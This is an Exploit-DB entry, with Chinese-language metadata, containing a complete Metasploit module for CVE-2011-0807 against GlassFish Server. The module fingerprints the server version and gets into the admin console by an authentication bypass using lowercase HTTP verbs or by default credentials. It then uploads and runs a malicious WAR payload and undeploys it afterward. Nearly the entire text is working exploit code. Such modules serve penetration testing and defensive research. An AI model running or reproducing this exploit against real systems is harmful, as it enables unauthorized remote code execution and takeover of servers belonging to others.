标题: Sun/Oracle GlassFish Server - (Authenticated) Code Execution (Metasploit) EDB-ID: 17615 CVE: 2011-0807 类型: WEBAPPS 平台: JSP 发布日期: 2011-08-05 漏洞利用脚本: ##
# $Id: glassfish_deployer.rb 13485 2011-08-04 17:36:01Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::EXE

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Sun/Oracle GlassFish Server Authenticated Code Execution",
   'Description'    => %q{
     This module logs in to an GlassFish Server 3.1 (Open Source or Commercial) 
    instance using a default credential, uploads, and executes commands via deploying
    a malicious WAR.  On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x
    this module will try to bypass authentication instead by sending lowercase HTTP verbs.
   },
   'License'        => MSF_LICENSE,
   'Version'        => "$Revision: 13485 $",
   'Author'         =>
    [
     #Msf module for Glassfish 3.0
     'juan vazquez',
     #Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1
     'Joshua Abraham <jabra[at]rapid7.com>',
     #Rewrite for 3.0, 3.1 (Commercial or Open Source)
     'sinn3r',
    ],
   'References'     =>
    [
     ['CVE', '2011-0807'],
    ],
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
     [
      'Java Universal',
      {
       'Arch'     => ARCH_JAVA,
       'Platform' => 'java',
      },
     ],
     #
     # platform specific targets only
     #
     [
      'Windows Universal',
      {
       'Arch'     => ARCH_X86,
       'Platform' => 'win',
      },
     ],
     #
     # platform specific targets only
     #
     [
      'Linux Universal',
      {
       'Arch'     => ARCH_X86,
       'Platform' => 'linux',
      },
     ],
    ],
   'DisclosureDate' => "Aug 4 2011",
   'DefaultTarget'  => 0))

   register_options(
    [
     Opt::RPORT(4848),
     OptString.new('APP_RPORT',[ true,  'The Application interface port', '8080']),
     OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
     OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]),
     OptString.new('PATH', [ true,  "The URI path of the GlassFish Server", '/'])
    ], self.class)
 end

 #
 # Send GET or POST request, and return the response
 #
 def send_request(path, method, session='', data=nil, ctype=nil)

  headers = {}
  headers['Cookie'] = "JSESSIONID=#{session}" if session != ''
  headers['Content-Type'] = ctype if ctype != nil
  headers['Content-Length'] = data.length if data != nil

  res = send_request_raw({
   'uri'     => path,
   'method'  => method,
   'data'    => data,
   'headers' => headers,
  }, 90)

  #'vhost' => "#{datastore['rhost']}:#{datastore['rport']}"
  return res
 end

 #
 # Return target
 #
 def auto_target(session, res, version)
  print_status("Attempting to automatically select a target...")

  res = query_serverinfo(session,version)
  return nil if not res
  return nil if not res.body

  plat = detect_platform(res.body)
  arch = detect_arch(res.body)
  
  # No arch or platform found?
  return nil if (not arch or not plat)

  # see if we have a match
  targets.each do |t|
   return t if (t['Platform'] == plat) and (t['Arch'] == arch)
  end

  # no matching target found
  return nil
 end

 #
 # Return platform (win, linux, or osx)
 #
 def detect_platform(body)
  body.each_line do |ln|
   ln.chomp!
   case ln
   when /os\.name = (.*)/
    os = $1
    case os
    when /Windows/
     return 'win'
    when /Linux/
     return 'linux'
    when /Mac OS X/
     return 'osx'
    end
   end
  end

  return 'java'
 end

 #
 # Return ARCH
 #
 def detect_arch(body)
  body.each_line do |ln|
   ln.chomp!
   case ln
   when /os\.arch = (.*)/
    ar = $1
    case ar
    when 'x86', 'i386', 'i686'
     return ARCH_X86
    when 'x86_64', 'amd64'
     return ARCH_X86
    end
   end
  end
 end

 #
 # Return server information
 #
 def query_serverinfo(session,version)
  res = ''

  if version == '2.x' or version == '9.x'
   path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"
   res = send_request(path, @verbs['GET'], session)
  else
   path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"
   res = send_request(path, @verbs['GET'], session)

   if ((not res) or (res.code != 200) or (res.body !~ /Operating System Information/))
    path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"
    res = send_request(path, @verbs['GET'], session)
   end
  end

  if (not res) or (res.code != 200)
   print_error("Failed: Error requesting #{path}")
   return nil
  end

  return res
 end

 #
 # Return viewstate and entry before deleting a GlassFish application
 #
 def get_delete_info(session, version, app='')
  if version == '2.x' or version == '9.x'
   path = '/applications/webApplications.jsf'
   res = send_request(path, @verbs['GET'], session)

   if (not res) or (res.code != 200)
    print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
    return nil
   end

   input_id = "javax.faces.ViewState"
   p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/
   viewstate = res.body.scan(p)[0][0]

   entry = nil
   p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/
   results = res.body.scan(p)

   results.each do |hit|
    if hit[1] =~ /^#{app}/
     entry = hit[0]
     entry << "col0:select"
    end
   end

  else
   path = '/common/applications/applications.jsf?bare=true'
   res = send_request(path, @verbs['GET'], session)

   if (not res) or (res.code != 200)
    print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
    return nil
   end

   input_id = "javax.faces.ViewState"
   p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/
   viewstate = res.body.scan(p)[0][0]

   entry = nil
   p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/
   results = res.body.scan(p)

   results.each do |hit|
    if hit[1] =~ /^#{app}/
     entry = hit[0]
     entry << "col0:select"
    end
   end
  end

  if (viewstate.nil?)
   print_error("Failed: Error getting ViewState")
   return nil
  elsif (entry.nil?)
   print_error("Failed: Error getting the entry to delete")
  end

  return viewstate, entry
 end

 #
 # Send an "undeploy" request to Glassfish and remove our backdoor
 #
 def undeploy(viewstate, session, entry)
  #Send undeployment request
  data  = [
  "propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",
  "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",
  "&#{Rex::Text.uri_encode(entry)}=true",
  "&propertyForm%3AhelpKey=ref-applications.html",
  "&propertyForm_hidden=propertyForm_hidden",
  "&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",
  "&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
  "&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
  "&javax.faces.partial.execute=%40all",
  "&javax.faces.partial.render=%40all",
  "&bare=true",
  "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
  "&javax.faces.partial.ajax=true"
  ].join()

  path  = '/common/applications/applications.jsf'
  ctype = 'application/x-www-form-urlencoded'

  res   = send_request(path, @verbs['POST'], session, data, ctype)
  if (not res)
   print_error("Undeployment failed on #{path} - No Response")
   else
   if res.code < 200 or res.code >= 300
    print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")
   end
  end
 end

 #
 # Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and
 # banner (ex: Sun Java System Application Server 9.x)
 #
 def get_version(res)
  #Extract banner from response
  banner = res.headers['Server']

  #Default value for edition and glassfish version
  edition = 'Commercial'
  version = 'Unknown'

  #Set edition (Open Source or Commercial)
  p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
  edition = 'Open Source' if banner =~ p

  #Set version.  Some GlassFish servers return banner "GlassFish v3".
  if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/
   version = $2
  elsif banner =~ /GlassFish v(\d)/ and (version == 'Unknown' or version.nil?)
   version = $1
  elsif banner =~ /Sun GlassFish Enterprise Server v2/ and (version.nil? or version == 'Unknown')
   version = '2.x'
  elsif banner =~ /Sun Java System Application Server 9/ and (version.nil? or version == 'Unknown')
   version = '9.x'
  end

  if version == nil or version == 'Unknown'
   print_status("Unsupported version: #{banner}")
  end

  return edition, version, banner
 end

 #
    # Return the formatted version of the POST data
    #
    def format_2_x_war(boundary,name,value=nil, war=nil)
        data = ''

  data << boundary
  data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "
  data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
  data << war
  data << "\r\n"

        return data
    end

 #
 # Return the formatted version of the POST data
 #
 def format(boundary,name,value=nil, war=nil)
  data = ''

  if war
   data << boundary
   data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "
   data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
   data << war
   data << "\r\n"
  else
   data << boundary
   data << "\r\nContent-Disposition: form-data; name=\"#{name}\""
   data << "\r\n\r\n"
   data << "#{value}\r\n"
  end

  return data
 end

 #
 # Return POST data and data length, based on GlassFish edition
 #
 def get_upload_data(boundary, version, war, app_base, typefield='', status_checkbox='', start='', viewstate='')
  data = ''

  if version == '3.0'

   uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
   uploadparam_data = "form:sheet1:section1:prop1:fileupload"

   boundary = "--#{boundary}"

   data = [
    format(boundary, app_base, nil, war),
    format(boundary, uploadParam_name, uploadparam_data),
    format(boundary, "form:sheet1:section1:prop1:extension", ".war"),
    format(boundary, "form:sheet1:section1:prop1:action", "client"),
    format(boundary, typefield, "war"),
    format(boundary, "form:war:psection:cxp:ctx", app_base),
    format(boundary, "form:war:psection:nameProp:appName", app_base),
    format(boundary, "form:war:psection:vsProp:vs", ""),
    format(boundary, status_checkbox, "true"),
    format(boundary, "form:war:psection:librariesProp:library", ""),
    format(boundary, "form:war:psection:descriptionProp:description", ""),
    format(boundary, "form_hidden", "form_hidden"),
    format(boundary, "javax.faces.ViewState", viewstate),
    "#{boundary}--"
   ].join()
  elsif version == '2.x' or version == '9.x'

   uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
   uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"

   focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
   focusElementId_data = 'form:title:topButtons:uploadButton'

   boundary = "-----------------------------#{boundary}"

   data = [
    format_2_x_war(boundary, app_base, nil, war),
    format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),
    format(boundary, "uploadRdBtn", "client"),
    format(boundary, uploadParam_name, uploadParam_data),
    format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),
    format(boundary, "form:title:ps:psec:nameProp:appName", app_base),
    format(boundary, "form:title:ps:psec:cxp:ctx", app_base),
    format(boundary, "form:title:ps:psec:vsp:vs", ""),
    format(boundary, status_checkbox, "true"),
    format(boundary, "form:title:ps:psec:librariesProp:library", ""),
    format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),
    format(boundary, "form:title:ps:psec:registryProp:registryType", ""),
    format(boundary, "form:title:ps:psec:descriptionProp:description", ""),
    format(boundary, "form:helpKey", "uploaddev.html"),
    format(boundary, "form_hidden", "form_hidden"),
    format(boundary, "javax.faces.ViewState", viewstate),
    format(boundary, focusElementId_name, focusElementId_data),
    "#{boundary}--"
   ].join()
  else

   boundary = "-----------------------------#{boundary}"

   #Setup dynamic arguments
   num1 = start.to_i
   num2 = num1 + 14
   num3 = num2 + 2
   num4 = num3 + 2
   num5 = num4 + 2
   num6 = num5 + 2
   num7 = num6 + 1

   id0 = num4
   id1 = num4 + 1
   id2 = num4 + 2
   id3 = num4 + 3
   id4 = num4 + 4
   id5 = num4 + 5
   id6 = num4 + 6
   id7 = num4 + 7
   id8 = num4 + 8
   id9 = num4 + 9

   uploadParam_name  = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
   uploadParam_value = "form:sheet1:section1:prop1:fileupload"

   focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
   focusElementId_data = "form:title2:bottomButtons:uploadButton"

   data = [
    format(boundary,"uploadRdBtn","client"),
    ## web service
    format(boundary, app_base, nil, war),
    ## sheet1
    format(boundary, uploadParam_name, uploadParam_value),
    format(boundary,"form:sheet1:section1:prop1:extension",".war"),
    format(boundary,"form:sheet1:section1:prop1:action","client"),
    format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),
    format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),
    format(boundary,"form:appClient:psection:descriptionProp:description"),
    ## war
    format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),
    format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),
    format(boundary,"form:war:psection:vsProp:vs"),
    format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),
    format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),
    format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),
    format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),
    format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),
    format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),
    format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
    format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
    format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
    format(boundary,"form:war:psection:librariesProp:library"),
    format(boundary,"form:war:psection:descriptionProp:description"),
    format(boundary,"form_hidden","form_hidden"),
    format(boundary,"javax.faces.ViewState","#{viewstate}"),
    format(boundary, focusElementId_name, focusElementId_data)
   ].join()

   item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"
   item_list_data = "|server|com.sun.webui.jsf.separator|"

   item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"
   item_value_data = "server"

   data << format(boundary, item_list_name, item_list_data)
   data << format(boundary, item_value_name, item_value_data)
   data << "#{boundary}--"
   data << "\r\n\r\n"

  end

  return data
 end

 #
 # Upload our payload, and execute it.  This function will also try to automatically
 # clean up after itself.
 #
 def upload_exec(session, app_base, jsp_name, target, war, edition, version)
  if version == '2.x' or version == '9.x'
   path = "/applications/upload.jsf?appType=webApp"
   res = send_request(path, @verbs['GET'], session)

   #Obtain some properties
   begin
    p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi
    p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
    viewstate       = res.body.scan(p1)[0][0]
    status_checkbox = res.body.scan(p2)[0][0]
    boundary        = rand_text_alphanumeric(28)
   rescue
    print_error("Unable to gather required data for file upload")
    return
   end
  else
   path = "/common/applications/uploadFrame.jsf"
   res = send_request(path, @verbs['GET'], session)

   #Obtain some properties
   begin
    #start is only for dynamic arguments in POST data
    res.body =~ /propertySheetSection(\d{3})/
    start = $1
    p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi
    p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
    p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/

    rnd_text = rand_text_alphanumeric(29)

    viewstate       = res.body.scan(p1)[0][0]
    typefield       = res.body.scan(p2)[0][0]
    status_checkbox = res.body.scan(p3)[0][0]
    boundary        = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
   rescue
    print_error("Unable to gather required data for file upload")
    return
   end
  end

  #Get upload data
  if version == '3.0'
   ctype = "multipart/form-data; boundary=#{boundary}"
  elsif version == '2.x' or version == '9.x'
   ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
            typefield = ''
            start = ''
  else
   ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
  end

  post_data = get_upload_data(boundary, version, war, app_base, typefield, status_checkbox, start, viewstate)

  #Upload our payload
  if version == '2.x' or version == '9.x'
   path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'
  else
   path  = '/common/applications/uploadFrame.jsf?'
   path << 'form:title:topButtons:uploadButton=Processing...'
   path << '&bare=false'
  end
  res  = send_request(path, @verbs['POST'], session, post_data, ctype)

  #Print upload result
  if res and res.code == 302
   print_status("Successfully uploaded")
  else
   print_error("Error uploading #{res.code}")
   return
  end

  #Execute our payload using the application interface (no need to use auth bypass technique)
  jsp_path = "/" + app_base + "/" + jsp_name + ".jsp"
  nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],
   {
    'Msf'        => framework,
    'MsfExploit' => self,
   }
  )

  print_status("Executing #{jsp_path}...")
  req = nclient.request_raw({
   'uri'     => jsp_path,
   'method'  => 'GET',
  })

  if (req)
   res = nclient.send_recv(req, 90)
  else
   print_status("Error: #{rhost} did not respond on #{app_rport}.")
  end

  #Sleep for a bit before cleanup
  select(nil, nil, nil, 5)

  #Start undeploying
  print_status("Getting information to undeploy...")
  viewstate, entry = get_delete_info(session, version, app_base)
  if (not viewstate)
   raise RuntimeError, "Unable to get viewstate"
  elsif (not entry)
   raise RuntimeError, "Unable to get entry"
  end

  print_status("Undeploying #{app_base}...")
  undeploy(viewstate, session, entry)

  print_status("Undeployment complete.")
 end

 #
 # Try to login to Glassfish with a credential, and return the response
 #
 def try_login(user, pass)
  data  = "j_username=#{Rex::Text.uri_encode(user.to_s)}&"
  data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&"
  data << "loginButton=Login"

  path = '/j_security_check'
  res = send_request(path, @verbs['POST'], '', data, 'application/x-www-form-urlencoded')

  return res
 end

 def log_success(user,pass)
  print_good("#{target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'")
  report_auth_info(
   :host   => rhost,
   :port   => rport,
   :sname  => 'http',
   :user   => user,
   :pass   => pass,
   :proof  => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
   :active => true
  )
 end

 def try_default_glassfish_login(version)
  success = false
  session = ''
  res = ''
  if version == '2.x' or version == '9.x'
   user = 'admin'
   pass = 'adminadmin'

   print_status("Trying default credential GlassFish 2.x #{user}:'#{pass}'....")
   res = try_login(user,pass)
   if res and res.code == 302
    session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
    res = send_request('/applications/upload.jsf', 'GET', session)

    p = /<title>Deploy Enterprise Applications\/Modules/
    if (res and res.code.to_i == 200 and res.body.match(p) != nil)
     success = true
    end
   end

  else
   user = 'admin'
   pass = ''

   print_status("Trying default credential GlassFish 3.x #{user}:'#{pass}'....")
   res = try_login(user,pass)
   if res and res.code == 302
    session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
    res = send_request('/common/applications/uploadFrame.jsf', 'GET', session)

    p = /<title>Deploy Applications or Modules/
    if (res and res.code.to_i == 200 and res.body.match(p) != nil)
     success = true
    end
            end
  end

  if success == true
   log_success(user,pass)
  else
   msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
   print_error(msg)
  end

  return success, res, session
 end

 def try_nondefault_glassfish_login(version,user,pass)

  print_status("Trying credential #{user}:'#{pass}'....")
  success = false
  session = ''

  res = try_login(user, pass)
  if version == '2.x' or version == '9.x'
   if res and res.code == 302
    session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
    res = send_request('/applications/upload.jsf', 'GET', session)

    p = /<title>Deploy Enterprise Applications\/Modules/
    if (res and res.code.to_i == 200 and res.body.match(p) != nil)
     success = true
                end
            end
  else
   if res and res.code == 302
    session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
    res = send_request('/common/index.jsf', 'GET', session)

    p = /<title>Deploy Applications or Modules/
    if (res and res.code.to_i == 200 and res.body.match(p) != nil)
     success = true
    end
   end
  end

  if success == true
   log_success(user,pass)
  else
   msg = "#{target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
   print_error(msg)
  end

  return success, res, session
 end


 def try_glassfish_auth_bypass(version)
  print_status("Trying GlassFish authentication bypass..")
  success = false

  if version == '2.x' or version == '9.x'
   res = send_request('/applications/upload.jsf', 'get')
   p = /<title>Deploy Enterprise Applications\/Modules/
   if (res and res.code.to_i == 200 and res.body.match(p) != nil)
    success = true
   end
  else
   # 3.0
   res = send_request('/common/applications/uploadFrame.jsf', 'get')
   p = /<title>Deploy Applications or Modules/
   if (res and res.code.to_i == 200 and res.body.match(p) != nil)
    success = true
   end
  end

  if success == true
   print_good("#{target_host} - GlassFish - SUCCESSFUL authentication bypass")
   report_auth_info(
    :host   => rhost,
    :port   => rport,
    :sname  => 'http',
    :user   => '',
    :pass   => '',
    :proof  => "WEBAPP=\"GlassFish\", VHOST=#{vhost}",
    :active => true
   )
  else
   print_error("#{target_host()} - GlassFish - Failed authentication bypass")
  end

  return success
 end

 def target_host
  path        = datastore['PATH']
  target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
 end

 def exploit
  user        = datastore['USERNAME']
  pass        = datastore['PASSWORD']
  path        = datastore['PATH']
  target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
  success     = false
  session     = ''
  edition     = ''
  version     = ''

  #Invoke index to gather some info
  res = send_request('/common/index.jsf', 'GET')

  if res.code == 302
   res = send_request('/login.jsf', 'GET')
  end

  #Get GlassFish version
  edition, version, banner = get_version(res)
  print_status("Glassfish edition: #{banner}")

  #Get session
  res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /
  session = $1

  #Set HTTP verbs.  lower-case is used to bypass auth on v3.0
  @verbs = {
   'GET'  => (version == '3.0' or version == '2.x' or version == '9.x') ? "get" : 'GET',
   'POST' => (version == '3.0' or version == '2.x' or version == '9.x') ? 'post' : 'POST',
  }
  
  #auth bypass
  if version == '3.0' or version == '2.x' or version == '9.x'
   success = try_glassfish_auth_bypass(version)
  end

  #BUG caused us to skip default cred checks on sun applicaiton server 9.x 
  if success == false and version != '9.x'
   #default credentials
   success,res,session_login = try_default_glassfish_login(version)
   if success == false
    if (
     ( (version == '2.x' ) and (user != 'admin' and pass != 'adminadmin') )  or 
     ( (version =~ /^3\./) and (user != 'admin' and pass != '') )
    )
     #non-default login
     success,res,session_login = try_nondefault_glassfish_login(version,user,pass)
    end
   end
  end

  #Start attacking
  if success
   session = session_login if (session_login =~ /\w+/)
   #Set target
   mytarget = target
   mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/
   raise RunTimeError, "Unable to automatically select a target" if (not mytarget)

   #Generate payload
   p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)

   jsp_name = rand_text_alphanumeric(4+rand(32-4))
   app_base = rand_text_alphanumeric(4+rand(32-4))

   war = p.encoded_war({
    :app_name    => app_base,
    :jsp_name    => jsp_name,
    :arch        => mytarget.arch,
    :platform    => mytarget.platform
   }).to_s

   #Upload, execute, cleanup, winning
   print_status("Uploading payload...")
   res = upload_exec(session, app_base, jsp_name, mytarget, war, edition, version)
  else
   print_error("#{target_host()} - GlassFish - Failed to authenticate login")
  end

 end
end URL: https://www.exploit-db.com/exploits/17615